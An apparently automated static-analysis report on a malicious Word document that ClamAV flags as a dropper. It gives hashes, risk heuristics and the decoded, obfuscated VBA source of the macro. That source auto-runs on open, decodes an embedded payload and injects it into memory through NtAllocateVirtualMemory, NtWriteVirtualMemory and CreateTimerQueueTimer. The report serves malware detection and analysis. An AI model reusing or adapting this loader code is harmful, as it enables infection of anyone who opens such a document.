Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 bcdd574c00b75843…

MALICIOUS

Office (OLE)

236.0 KB Created: 2017-08-24 11:32:00 Authoring application: Microsoft Office Word First seen: 2017-08-27
MD5: a48f4646c3052160338a122dcf9a0644 SHA-1: 208f907d1cfd0cf9dd7d4965a86920c18703fecf SHA-256: bcdd574c00b75843929a6ca868ce8865f5af047d283eb6b8784e3841e86d8a5d
90 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is identified as malicious by ClamAV with the signature Doc.Dropper.Agent-6337060-0. It contains VBA macros, including a Document_Open macro, which are commonly used to download and execute additional malicious content. The obfuscated nature of the VBA code prevents a more detailed analysis of its specific actions, but the presence of macros and the ClamAV signature strongly suggest a dropper functionality.

Heuristics 4

  • ClamAV: Doc.Dropper.Agent-6337060-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6337060-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
    Dim amiss As String
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ns.adobe.com/xap/1.0/ In document text (OLE body)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
    • http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
    • http://purl.org/dc/elements/1.1/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 47823 bytes
SHA-256: 36a22da678d66a9da2d3e0ced9b5bd33ccdd88de5a905a2f5746816d32641a16
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function sandlot(unalarming, animalcule, detractor)
turtles = fiures(40 / 8)
#If (7 * 4 + 5) > (7 - 2 * 1) And (20 - 5 * 4) * 2 < (turtles) Then
Dim monosyllabically As Long
Dim lf As Integer
Dim doublets As LongPtr
Dim convivially As LongPtr
Dim erst As LongPtr
Dim dumpling As Long
Dim nonpartisan As LongPtr
Dim anigozanthus As LongPtr
#End If
#If (8 * 2 + 5) > (7 - 2 * 1) And Not (21 - 7 * 3) * 2 < (turtles) Then
Dim convivially As Long
Dim centrosema As Integer
Dim doublets As Long
Dim cephalotaceae As Variant
Dim nonpartisan As Long
Dim bramidae As Variant
Dim erst As Long
Dim aquatics As Long
Dim anigozanthus As Long
Dim deflated As String
Dim footboy As Long
#End If
shack = "fieldwork"
apus = melanoderma + 360
convivially = unalarming
anigozanthus = detractor
assyrian = Math.Round(316)
nonpartisan = animalcule
adhesive = 110 + 7
nousle = 32540 + 1
panache = 499650 + 9
 Pmt 0, adhesive, 13443, 50378, 4

vulpine = shack
doublets = 33 - 92 + 58
linelike ByVal doublets, convivially, nonpartisan, anigozanthus, erst
shack = "clank"
End Function

Function fiures(ballse)
Dim windser As Integer
Dim velvet As Integer
fixoid = ballse * 12
Dim sitroen As Variant
subway2 = ballse * 2
Dim cowen() As Byte
#If (3 * 4 + ballse) > (7 - 2 * 1) And (10 - ballse * 2) * 2 < (Win64) Then
velvet = subway2
#End If
#If (3 * 4 + ballse) > (7 - 2 * 1) And Not (Win64) > (10 - ballse * 2) * 2 Then
velvet = (120 - fixoid)
#End If
subway3 = subway2 + velvet
fiures = velvet
End Function
Function silurian(contumely)
Dim antefix As String
Dim archosargus As Variant
Dim silvia As Long
moskit = fiures(40 / 8)
Dim agalloch As Byte
#If (6 * 3 + 5) > (7 - 2 * 1) And (48 - 6 * 8) * 2 < (Win64) Then
Dim slipknot As Integer
Dim acherontis As LongPtr
impregnably = 110 - 90 - 12
Dim pierced As LongPtr
Dim joule As String
Dim decade As Byte
Dim resonate As LongPtr
Dim redundance As Integer
#End If
#If (8 * 2 + 5) > (7 - 2 * 1) And Not (21 - 7 * 3) * 2 < (Win64) Then
Dim acherontis As Long
impregnably = 107 - 61 - 42
Dim pierced As Long
Dim resonate As Long
#End If
behoove = VarPtr(acherontis)
ice = sandlot(behoove, VarPtr(contumely) + 8, impregnably)
relevant = 47 - 115 + 67
pierced = 97 - 54 - 43
outstanding = 15 - 15 + 0
resonate = 118 - 90 + 9349
nike = 4 - 107 + 4199
maxillaria = 115 - 22 - 29
coaching = hora(ByVal relevant, pierced, ByVal outstanding, resonate, ByVal nike, ByVal maxillaria)
shack = shack

apus = Math.Round(431)

sandlot pierced, acherontis, 83 - 55 + 5855
dollarfish = 100 + 4
desensitized = 5120 + 5
spiteful = 476460 + 5
 Pmt 0, dollarfish, 24326, 33067, 5

silurian = pierced
End Function
Sub included()
Dim gills As Long
Dim immix As String
natty.nestled.Value = Day(#12/5/2013#)
varday = dwarfism = "decrease"
cumulostratus = "belle"
lunate = aforementioned
bosnian = "phyllitis"
maori = "chevron"

garron = agraphia
buffo = "overmantel"
expertness = "bosk"
Set pinioned = natty.nestled.SelectedItem
stammel = 30 + 3
faisant = 13250 + 0
recusance = 237250 + 3
 Pmt 0, stammel, 20669, 58595, 8

choosing = pinioned.Name
heterometabolous = 108 - 39 + 7775
achimenes = Right(choosing, heterometabolous)
commensal = worksheet.pincenez(achimenes)
converted = 3 + 3
capture = 27840 + 1
alchemy = 122720 + 0
 Pmt 0, converted, 13685, 32200, 7
turtles = fiures(40 / 8)
burned = "dictu"
clamshell = "cauterizer"
#If (8 * 2 + 5) > (7 - 2 * 1) And (21 - 7 * 3) * 2 < (Win64) Then
Dim chamberpot As Byte
Dim crossexamination As LongPtr
Dim sandal As LongPtr
Dim bogy As String
#End If
#If (8 * 2 + 5) > (7 - 2 * 1) And Not (21 - 7 * 3) * 2 < (Win64) Then
Dim unimpressively As Long
Dim sandal As Long
Dim clientage As Variant
Dim crossexamination As Long
#End If
broadbill = 103 - 84 - 19
crumbled = "liabilities"
dispassionately = "alternativeness"
holyday = 7 - 98 + 4187
agjus = 30 + 2
auri = 4670 + 1
fullbodied = 465340 + 1
 Pmt 0, agjus, 15264, 36538, 8

cambrian = "analytical"
tactic = "disingenuous"
unbowed = "sharper"
araneidal = "histaminase"
dubitousness = 60 + 5
limpopo = 7730 + 5
cloakmaker = 391730 + 3
 Pmt 0, dubitousness, 22791, 12293, 4

adenine = commensal
canaliferous = "appoggiato"
abalienate = "impressively"
crossexamination = silurian(adenine)
fastened = "consensual"
#If (3 * 4 + 5) > (5 - 2 * 1) And (8 - 4 * 2) * 2 < (Win64) Then
Dim pen As Byte
Dim cosmetician As LongPtr
Dim hornmad As LongPtr
Dim immunoelectrophoresis As LongPtr
agony = 59 - 18 + 2023
#End If
#If (8 * 2 + 5) > (7 - 2 * 1) And Not (21 - 7 * 3) * 2 < (Win64) Then
Dim cosmetician As Long
martyniaceae = 70 - 18 + 729
Dim hornmad As Long
Dim immunoelectrophoresis As Long
agony = martyniaceae + 3459

#End If
Dim nonmoral As Byte
Dim carabao As Byte
cosmetician = 19 - 104 + 85
sandal = crossexamination + agony
hornmad = 58 - 41 + 201510
immunoelectrophoresis = 30 - 45 + 3515
commix = jinsa(hornmad, cosmetician, sandal)
inane = 100 + 4
pilosella = 26780 + 6
cooks = 478900 + 7
 Pmt 0, inane, 25241, 21192, 4

End Sub

Private Sub Document_Open()
Dim amiss As String
Dim hammertoe As String
painlessly = "brooding"
included
flamboyant = 10 + 1
reactor = 10140 + 1
mercaptopurine = 408990 + 1
 Pmt 0, flamboyant, 27977, 18856, 5
End Sub

Attribute VB_Name = "worksheet"
'  Then you rolled in with your hair in the wind
'  And hit me like a hurricane
#If (9 * 3 + 5) > (8 - 3 * 1) And (Win64) > (28 - 7 * 4) * 2 Then
'  You wrecked my whole world when you came
'  From the moment when
Public Declare PtrSafe Function adduce Lib "Shlwapi.dll  " Alias "SleepConditionVariableSRW" (ByVal boorish As Any, acclivous As Any, legged As Any, genocide As Any) As LongPtr
'  You wrecked my whole world when you came
'  And hit me like a hurricane
Public Declare PtrSafe Function cycliophora Lib "ntdll.dll  " Alias "AcquireSRWLockShared" (many As Any) As LongPtr
'  The moon went hiding, stars quit shining
'  But you rolled in with your hair in the wind
Public Declare PtrSafe Function linelike Lib "ntdll.dll  " Alias "NtWriteVirtualMemory" (ByVal polyneuritis As Any, ByVal bike As Any, ByVal amazing As Any, ByVal frock As Any, ByVal laureate As Any) As LongPtr
'  I wouldnt be in my truck
'  Then you rolled in with your hair in the wind
Public Declare PtrSafe Function hora Lib "ntdll.dll  " Alias _
   "NtAllocateVirtualMemory" (collection As LongPtr, chapman As LongPtr, ByVal dragon As LongPtr, petitionByVal As LongPtr, cobol As LongPtr, ByVal innovative As LongPtr) As LongPtr
'  Baby, without warning
'  Hit me like a hurricane
Public Declare PtrSafe Function anothers Lib "Shlwapi.dll  " Alias "GetOverlappedResult" (ByVal antimonic As Any, divertissement As Any, molten As Any, daubing As Any) As LongPtr
'  And walked out
'  But just your sight had my heart storming
Public Declare PtrSafe Function avi Lib "Kernel32" Alias "CreateTimerQueueTimer" (react As Any, ByVal sunroof As Any, ByVal quil As Any, ByVal cestrum As Any, ByVal cephalothin As Any, ByVal lukewarmness As Any, ByVal cameo As Any) As Long
'  The moon went hiding, stars quit shining
'  Rain was driving, thunder, lightning

'  You wrecked my whole world when you came
'  You wrecked my whole world when you came
#End If
'  Baby, without warning
'  Hit me like a hurricane
#If (9 * 3 + 5) > (8 - 3 * 1) And Not (Win64) > (28 - 7 * 4) * 2 Then
'  I wouldnt be in my truck
'  Started talking bout us again
Public Declare Function hora Lib "Ntdll.dll " Alias _
       "NtAllocateVirtualMemory" (ouguiya As Long, leopards As Long, ByVal heirloom As Long, obliviousneddByVal As Long, calvaria As Long, ByVal antennal As Long) As Long
'  You wrecked my whole world when you came
'  The moon went hiding, stars quit shining
Public Declare Function avi Lib "Kernel32" Alias "CreateTimerQueueTimer" (potvaliant As Any, ByVal bocca As Any, ByVal actiniopteris As Any, ByVal marrowbones As Any, ByVal arroyo As Any, ByVal areolar As Any, ByVal mono As Any) As Long
'  We locked eyes over whiskey on ice
'  And walked out
Public Declare Function linelike Lib "Ntdll.dll   " Alias "NtWriteVirtualMemory" (ByVal slovenia As Any, ByVal interestingly As Any, ByVal sanctify As Any, ByVal grumpy As Any, ByVal profanatory As Any) As Long
'  Rain was driving, thunder, lightning
'  And walked out
Public Declare Function chopped Lib "Shlwapi.dll  " Alias "GetOverlappedResult" (ByVal palpus As Any, chaise As Any, lodgment As Any, animating As Any) As Long
'  Hit me like a hurricane
'  I was doing alright
Public Declare Function nescient Lib "ntdll.dll  " Alias "AcquireSRWLockShared" (mesne As Any) As Long
'  I was doing alright
'  Baby, without warning
Public Declare Function updating Lib "Shlwapi.dll  " Alias "SleepConditionVariableSRW" (ByVal carpobrotus As Any, marmalade As Any, symplocarpus As Any, ketonemia As Any) As Long
'  You wrecked my whole world when you came
'  You wrecked my whole world when you came

'  We locked eyes over whiskey on ice
'  Driving us to your house
#End If
'  I was doing alright
'  But just your sight had my heart storming


Function halfheartedly(calque, purpose, decisiveness)
If decisiveness = 37 + (10 / 2 - 5) Then
halfheartedly = calque \ purpose
ElseIf decisiveness = 47 + (5 - 3) / 2 - 1 Then
halfheartedly = calque And purpose
ElseIf decisiveness = 55 + (56 / 7 - 4 * 2) Then
halfheartedly = calque * purpose
End If
End Function
Function amblygonite(caput)
amblygonite = AscW(caput)
End Function
Function pincenez(burgoyne) As String
Dim seal As Long

shack = shack

assyrian = Rnd(444)

Dim bologna(6962) As Byte
Dim mamba As String
Dim halfmast As Long
mediterranean = Math.Round(500)

Dim sometime() As Byte
Dim pilaf(63) As Long
Dim moneys(63) As Long
Dim ixia As Long
Dim missa As Byte

Dim prefect As Byte

Dim commonweal As Long

Dim bootikin(63) As Long
Dim reinstate As Long
Dim circumflex As Long
Dim chaplet As Integer
ramman = 88 - 57 + 65505
carnallite = 118 - 2 + 3980
Dim asphaltum As Variant

ivy = 15 - 22 + 258055
ascendant = 7 - 103 + 262240
sapindales = 84 - 113 + 16515101
buss = 38 - 10 + 36
dethrone = 13 - 38 + 281
bereavement = 12 - 48 + 291
beadle = 40 - 59 + 82
hauler = 37 - 116 + 4111
Dim diapensiales As Variant

africanamerican = 87 - 74 + 16711667
cart = 26 - 3 + 65257
Dim anno As Byte

Dim celuila As Long
manicurist = 128 - 58 - 70
anoectochilus = 104 - 6 + 7745
Dim anisogamy() As Byte
Dim apothecary As String
Dim jewelsofopar As Integer
anisogamy = VBA.StrConv(burgoyne, 128)
Dim supping As Long
unconstitutionally = 15
anagogic = 37620
neutralize = 325952
 Pmt 0, unconstitutionally, 23530, 19512, 2

effervescence = 7843
stickon = vbKeyShift - 12
For stockcar = 0 To effervescence
If stockcar Mod 2 = 0 Then
anisogamy(stockcar) = anisogamy(stockcar) - stickon
Else
anisogamy(stockcar) = anisogamy(stockcar) - (stickon - 1)
End If
Next stockcar
endearment = 6
jamaican = 33952
nard = 194604
 Pmt 0, endearment, 5938, 37768, 8

chaplet = 0
cautiously = 2 - 65 + 63
exocycloida = 32 - 117 + 128
cusk = bygones
For ixia = (7 - 7) * 1 To (50 + 13) * (5 - 4)
moneys(ixia) = halfheartedly(ixia, buss, 55)
pilaf(ixia) = halfheartedly(ixia, carnallite, 55)
bootikin(ixia) = halfheartedly(ixia, ascendant, 55)
Next ixia
rubbery = 100
enablement = 8473
usucaption = 550516
 Pmt 0, rubbery, 30456, 41618, 5

sometime = anisogamy
cobbler = 117 - 90 - 23
oddjob = 89
tickling = 11704
saxifraga = 158471
 Pmt 0, oddjob, 20569, 27467, 7

heirship = 84 - 49 - 32
shack = shack

shack = shack

litterbin = heirship + 1
chapman = 118 - 55 - 61
For circumflex = 0 To effervescence
gynecologist = sometime(circumflex)
belduque = sometime(circumflex + 2)
boardroom = pilaf(cusk(sometime(circumflex + 1)))
eaux = moneys(cusk(belduque)) + cusk(sometime(circumflex + heirship))
halfmast = bootikin(cusk(gynecologist)) + boardroom + eaux
ixia = halfheartedly(halfmast, africanamerican, 47)
bologna(reinstate) = halfheartedly(ixia, ramman, 37)
ixia = halfheartedly(halfmast, cart, 47)
bologna(reinstate + 1) = halfheartedly(ixia, dethrone, 37)
bologna(reinstate + chapman) = halfheartedly(halfmast, bereavement, 47)
reinstate = reinstate + chapman + 1
circumflex = circumflex + 3
Next
pincenez = bologna
End Function
Function jinsa(wrd, buls, lky)
#If (7 * 2) * 3 > 14 / 2 And (12 - 6 * 2) * 1 < (Win64) Then
Dim kittins As LongPtr
Dim bis As LongPtr
Dim ority As Integer
Dim deble As LongPtr
#End If
#If (12 * 2) / 1 > 14 / 2 And Not (12 - 6 * 2) * 1 < (Win64) Then
Dim kittins As Long
Dim bwis As Long
Dim antery As Integer
Dim deble As Long
#End If
kittins = buls
deble = lky
dan2 = avi(wrd, kittins, deble, kittins, kittins, kittins, kittins)
End Function
Function bygones()
Dim figbird(255) As Byte
morals = 26 - 84 + 123
Do While morals <= 90 + 1
figbird(morals) = morals - 65
morals = morals + 1
Loop
morals = 48
Do While morals <= 50 + 8
figbird(morals) = morals + 4
morals = morals + 1
Loop
morals = 97
Do While morals <= 120 + 3
figbird(morals) = morals - 71
morals = morals + 1
Loop
figbird(47) = 63
morals = 43
figbird(morals) = 60 + 2
bygones = figbird
End Function

Attribute VB_Name = "natty"
Attribute VB_Base = "0{2470A40B-150E-456D-B554-C97FC150259B}{2942E755-0342-4E04-8BF7-1748367EB4AA}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

' Processing file: /opt/analyzer/scan_staging/aad478bb6b904e9b8aed19c75667b53f.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 16754 bytes
' Line #0:
' 	FuncDefn (Function sandlot(unalarming))
' Line #1:
' 	LitDI2 0x0028 
' 	LitDI2 0x0008 
' 	Div 
' 	ArgsLd subway3 0x0001 
' 	St vagons 
' Line #2:
' 	LbMark 
' 	LitDI2 0x0007 
' 	LitDI2 0x0004 
' 	Mul 
' 	LitDI2 0x0005 
' 	Add 
' 	Paren 
' 	LitDI2 0x0007 
' 	LitDI2 0x0002 
' 	LitDI2 0x0001 
' 	Mul 
' 	Sub 
' 	Paren 
' 	Gt 
' 	LitDI2 0x0014 
' 	LitDI2 0x0005 
' 	LitDI2 0x0004 
' 	Mul 
' 	Sub 
' 	Paren 
' 	LitDI2 0x0002 
' 	Mul 
' 	Ld vagons 
' 	Paren 
' 	Lt 
' 	And 
' 	LbIf 
' Line #3:
' 	Dim 
' 	VarDefn monosyllabically (As Long)
' Line #4:
' 	Dim 
' 	VarDefn lf (As Integer)
' Line #5:
' 	Dim 
' 	VarDefn doublets (As Ptr)
' Line #6:
' 	Dim 
' 	VarDefn convivially (As Ptr)
' Line #7:
' 	Dim 
' 	VarDefn erst (As Ptr)
' Line #8:
' 	Dim 
' 	VarDefn dumpling (As Long)
' Line #9:
' 	Dim 
' 	VarDefn nonpartisan (As Ptr)
' Line #10:
' 	Dim 
' 	VarDefn anigozanthus (As Ptr)
' Line #11:
' 	LbMark 
' 	LbEndIf 
' Line #12:
' 	LbMark 
' 	LitDI2 0x0008 
' 	LitDI2 0x0002 
' 	Mul 
' 	LitDI2 0x0005 
' 	Add 
' 	Paren 
' 	LitDI2 0x0007 
' 	LitDI2 0x0002 
' 	LitDI2 0x0001 
' 	Mul 
' 	Sub 
' 	Paren 
' 	Gt 
' 	LitDI2 0x0015 
' 	LitDI2 0x0007 
' 	LitDI2 0x0003 
' 	Mul 
' 	Sub 
' 	Paren 
' 	LitDI2 0x0002 
' 	Mul 
' 	Ld vagons 
' 	Paren 
' 	Lt 
' 	Not 
' 	And 
' 	LbIf 
' Line #13:
' 	Dim 
' 	VarDefn convivially (As Long)
' Line #14:
' 	Dim 
' 	VarDefn centrosema (As Integer)
' Line #15:
' 	Dim 
' 	VarDefn doublets (As Long)
' Line #16:
' 	Dim 
' 	VarDefn cephalotaceae (As Variant)
' Line #17:
' 	Dim 
' 	VarDefn nonpartisan (As Long)
' Line #18:
' 	Dim 
' 	VarDefn bramidae (As Variant)
' Line #19:
' 	Dim 
' 	VarDefn erst (As Long)
' Line #20:
' 	Dim 
' 	VarDefn aquatics (As Long)
' Line #21:
' 	Dim 
' 	VarDefn anigozanthus (As Long)
' Line #22:
' 	Dim 
' 	VarDefn deflated (As String)
' Line #23:
' 	Dim 
' 	VarDefn footboy (As Long)
' Line #24:
' 	LbMark 
' 	LbEndIf 
' Line #25:
' 	LitStr 0x0009 "fieldwork"
' 	St shack 
' Line #26:
' 	Ld melanoderma 
' 	LitDI2 0x0168 
' 	Add 
' 	St apus 
' Line #27:
' 	Ld unalarming 
' 	St convivially 
' Line #28:
' 	Ld detractor 
' 	St anigozanthus 
' Line #29:
' 	LitDI2 0x013C 
' 	Ld Math 
' 	ArgsMemLd Round 0x0001 
' 	St assyrian 
' Line #30:
' 	Ld animalcule 
' 	St nonpartisan 
' Line #31:
' 	LitDI2 0x006E 
' 	LitDI2 0x0007 
' 	Add 
' 	St adhesive 
' Line #32:
' 	LitDI2 0x7F1C 
' 	LitDI2 0x0001 
' 	Add 
' 	St nousle 
' Line #33:
' 	LitDI4 0x9FC2 0x0007 
' 	LitDI2 0x0009 
' 	Add 
' 	St panache 
' Line #34:
' 	LitDI2 0x0000 
' 	Ld adhesive 
' 	LitDI2 0x3483 
' 	LitDI4 0xC4CA 0x0000 
' 	LitDI2 0x0004 
' 	ArgsCall Pmt 0x0005 
' Line #35:
' Line #36:
' 	Ld shack 
' 	St vulpine 
' Line #37:
' 	LitDI2 0x0021 
' 	LitDI2 0x005C 
' 	Sub 
' 	LitDI2 0x003A 
' 	Add 
' 	St doublets 
' Line #38:
' 	Ld doublets 
' 	ParamByVal 
' 	Ld convivially 
' 	Ld nonpartisan 
' 	Ld anigozanthus 
' 	Ld erst 
' 	ArgsCall linelike 0x0005 
' Line #39:
' 	LitStr 0x0005 "clank"
' 	St shack 
' Line #40:
' 	EndFunc 
' Line #41:
' Line #42:
' 	FuncDefn (Function subway3(_B_var_Win64))
' Line #43:
' 	Dim 
' 	VarDefn netves (As Integer)
' Line #44:
' 	Dim 
' 	VarDefn windser (As Integer)
' Line #45:
' 	Ld _B_var_Win64 
' 	LitDI2 0x000C 
' 	Mul 
' 	St velvet 
' Line #46:
' 	Dim 
' 	VarDefn fixoid (As Variant)
' Line #47:
' 	Ld _B_var_Win64 
' 	LitDI2 0x0002 
' 	Mul 
' 	St sitroen 
' Line #48:
' 	Dim 
' 	VarDefn subway2
' Line #49:
' 	LbMark 
' 	LitDI2 0x0003 
' 	LitDI2 0x0004 
' 	Mul 
' 	Ld _B_var_Win64 
' 	Add 
' 	Paren 
' 	LitDI2 0x0007 
' 	LitDI2 0x0002 
' 	LitDI2 0x0001 
' 	Mul 
' 	Sub 
' 	Paren 
' 	Gt 
' 	LitDI2 0x000A 
' 	Ld _B_var_Win64 
' 	LitDI2 0x0002 
' 	Mul 
' 	Sub 
' 	Paren 
' 	LitDI2 0x0002 
' 	Mul 
' 	Ld Win64 
' 	Paren 
' 	Lt 
' 	And 
' 	LbIf 
' Line #50:
' 	Ld sitroen 
' 	St windser 
' Line #51:
' 	LbMark 
' 	LbEndIf 
' Line #52:
' 	LbMark 
' 	LitDI2 0x0003 
' 	LitDI2 0x0004 
' 	Mul 
' 	Ld _B_var_Win64 
' 	Add 
' 	Paren 
' 	LitDI2 0x0007 
' 	LitDI2 0x0002 
' 	LitDI2 0x0001 
' 	Mul 
' 	Sub 
' 	Paren 
' 	Gt 
' 	Ld Win64 
' 	Paren 
' 	LitDI2 0x000A 
' 	Ld _B_var_Win64 
' 	LitDI2 0x0002 
' 	Mul 
' 	Sub 
' 	Paren 
' 	LitDI2 0x0002 
' 	Mul 
' 	Gt 
' 	Not 
' 	And 
' 	LbIf 
' Line #53:
' 	LitDI2 0x0078 
' 	Ld velvet 
' 	Sub 
' 	Paren 
' 	St windser 
' Line #54:
' 	LbMark 
' 	LbEndIf 
' Line #55:
' 	Ld sitroen 
' 	Ld windser 
' 	Add 
' 	St cowen 
' Line #56:
' 	Ld windser 
' 	St subway3 
' Line #57:
' 	EndFunc 
' Line #58:
' 	FuncDefn (Function silurian(contumely))
' Line #59:
' 	Dim 
' 	VarDefn antefix (As String)
' Line #60:
' 	Dim 
' 	VarDefn archosargus (As Variant)
' Line #61:
' 	Dim 
' 	VarDefn silvia (As Long)
' Line #62:
' 	LitDI2 0x0028 
' 	LitDI2 0x0008 
' 	Div 
' 	ArgsLd subway3 0x0001 
' 	St turtles 
' Line #63:
' 	Dim 
' 	VarDefn agalloch (As Byte)
' Line #64:
' 	LbMark 
' 	LitDI2 0x0006 
' 	LitDI2 0x0003 
' 	Mul 
' 	LitDI2 0x0005 
' 	Add 
' 	Paren 
' 	LitDI2 0x0007 
' 	LitDI2 0x0002 
' 	LitDI2 0x0001 
' 	Mul 
' 	Sub 
' 	Paren 
' 	Gt 
' 	LitDI2 0x0030 
' 	LitDI2 0x0006 
' 	LitDI2 0x0008 
' 	Mul 
' 	Sub 
' 	Paren 
' 	LitDI2 0x0002 
' 	Mul 
' 	Ld Win64 
' 	Paren 
' 	Lt 
' 	And 
' 	LbIf 
' Line #65:
' 	Dim 
' 	VarDefn slipknot (As Integer)
' Line #66:
' 	Dim 
' 	VarDefn acherontis (As Ptr)
' Line #67:
' 	LitDI2 0x006E 
' 	LitDI2 0x005A 
' 	Sub 
' 	LitDI2 0x000C 
' 	Sub 
' 	St impregnably 
' Line #68:
' 	Dim 
' 	VarDefn pierced (As Ptr)
' Line #69:
' 	Dim 
' 	VarDefn joule (As String)
' Line #70:
' 	Dim 
' 	VarDefn decade (As Byte)
' Line #71:
' 	Dim 
' 	VarDefn resonate (As Ptr)
' Line #72:
' 	Dim 
' 	VarDefn redundance (As Integer)
' Line #73:
' 	LbMark 
' 	LbEndIf 
' Line #74:
' 	LbMark 
' 	LitDI2 0x0008 
' 	LitDI2 0x0002 
' 	Mul 
' 	LitDI2 0x0005 
' 	Add 
' 	Paren 
' 	LitDI2 0x0007 
' 	LitDI2 0x0002 
' 	LitDI2 0x0001 
' 	Mul 
' 	Sub 
' 	Paren 
' 	Gt 
' 	LitDI2 0x0015 
' 	LitDI2 0x0007 
' 	LitDI2 0x0003 
' 	Mul 
' 	Sub 
' 	Paren 
' 	LitDI2 0x0002 
' 	Mul 
' 	Ld Win64 
' 	Paren 
' 	Lt 
' 	Not 
' 	And 
' 	LbIf 
' Line #75:
' 	Dim 
' 	VarDefn acherontis (As Long)
' Line #76:
' 	LitDI2 0x006B 
' 	LitDI2 0x003D 
' 	Sub 
' 	LitDI2 0x002A 
' 	Sub 
' 	St impregnably 
' Line #77:
' 	Dim 
' 	VarDefn pierced (As Long)
' Line #78:
' 	Dim 
' 	VarDefn resonate (As Long)
' Line #79:
' 	LbMark 
' 	LbEndIf 
' Line #80:
' 	Ld acherontis 
' 	ArgsLd VarPtr 0x0001 
' 	St behoove 
' Line #81:
' 	Ld behoove 
' 	Ld contumely 
' 	ArgsLd VarPtr 0x0001 
' 	LitDI2 0x0008 
' 	Add 
' 	Ld impregnably 
' 	ArgsLd sandlot 0x0003 
' 	St ice 
' Line #82:
' 	LitDI2 0x002F 
' 	LitDI2 0x0073 
' 	Sub 
' 	LitDI2 0x0043 
' 	Add 
' 	St relevant 
' Line #83:
' 	LitDI2 0x0061 
' 	LitDI2 0x0036 
' 	Sub 
' 	LitDI2 0x002B 
' 	Sub 
' 	St pierced 
' Line #84:
' 	LitDI2 0x000F 
' 	LitDI2 0x000F 
' 	Sub 
' 	LitDI2 0x0000 
' 	Add 
' 	St outstanding 
' Line #85:
' 	LitDI2 0x0076 
' 	LitDI2 0x005A 
' 	Sub 
' 	LitDI2 0x2485 
' 	Add 
' 	St resonate 
' Line #86:
' 	LitDI2 0x0004 
' 	LitDI2 0x006B 
' 	Sub 
' 	LitDI2 0x1067 
' 	Add 
' 	St nike 
' Line #87:
' 	LitDI2 0x0073 
' 	LitDI2 0x0016 
' 	Sub 
' 	LitDI2 0x001D 
' 	Sub 
' 	St maxillaria 
' Line #88:
' 	Ld relevant 
' 	ParamByVal 
' 	Ld pierced 
' 	Ld outstanding 
' 	ParamByVal 
' 	Ld resonate 
' 	Ld nike 
' 	ParamByVal 
' 	Ld maxillaria 
' 	ParamByVal 
' 	ArgsLd hora 0x0006 
' 	St coaching 
' Line #89:
' 	Ld shack 
' 	St shack 
' Line #90:
' Line #91:
' 	LitDI2 0x01AF 
' 	Ld Math 
' 	ArgsMemLd Round 0x0001 
' 	St apus 
' Line #92:
' Line #93:
' 	Ld pierced 
' 	Ld acherontis 
' 	LitDI2 0x0053 
' 	LitDI2 0x0037 
' 	Sub 
' 	LitDI2 0x16DF 
' 	Add 
' 	ArgsCall sandlot 0x0003 
' Line #94:
' 	LitDI2 0x0064 
' 	LitDI2 0x0004 
' 	Add 
' 	St dollarfish 
' Line #95:
' 	LitDI2 0x1400 
' 	LitDI2 0x0005 
' 	Add 
' 	St desensitized 
' Line #96:
' 	LitDI4 0x452C 0x0007 
' 	LitDI2 0x0005 
' 	Add 
' 	St spiteful 
' Line #97:
' 	LitDI2 0x0000 
' 	Ld dollarfish 
' 	LitDI2 0x5F06 
' 	LitDI4 0x812B 0x0000 
' 	LitDI2 0x0005 
' 	ArgsCall Pmt 0x0005 
' Line #98:
' Line #99:
' 	Ld pierced 
' 	St silurian 
' Line #100:
' 	EndFunc 
…